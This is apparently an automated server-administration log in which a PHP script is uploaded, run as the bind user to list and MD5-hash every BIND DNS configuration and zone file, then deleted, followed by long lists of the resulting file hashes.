MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:56:11: Establishing a connection
2026-04-22 22:56:11: 

PUT: /tmp/pkp624672

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:56:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp624672; rm /tmp/pkp624672'

2026-04-22 22:56:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:56:13: Establishing a connection
2026-04-22 22:56:13: 

PUT: /tmp/pkp967942

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:56:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp967942; rm /tmp/pkp967942'

2026-04-22 22:56:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
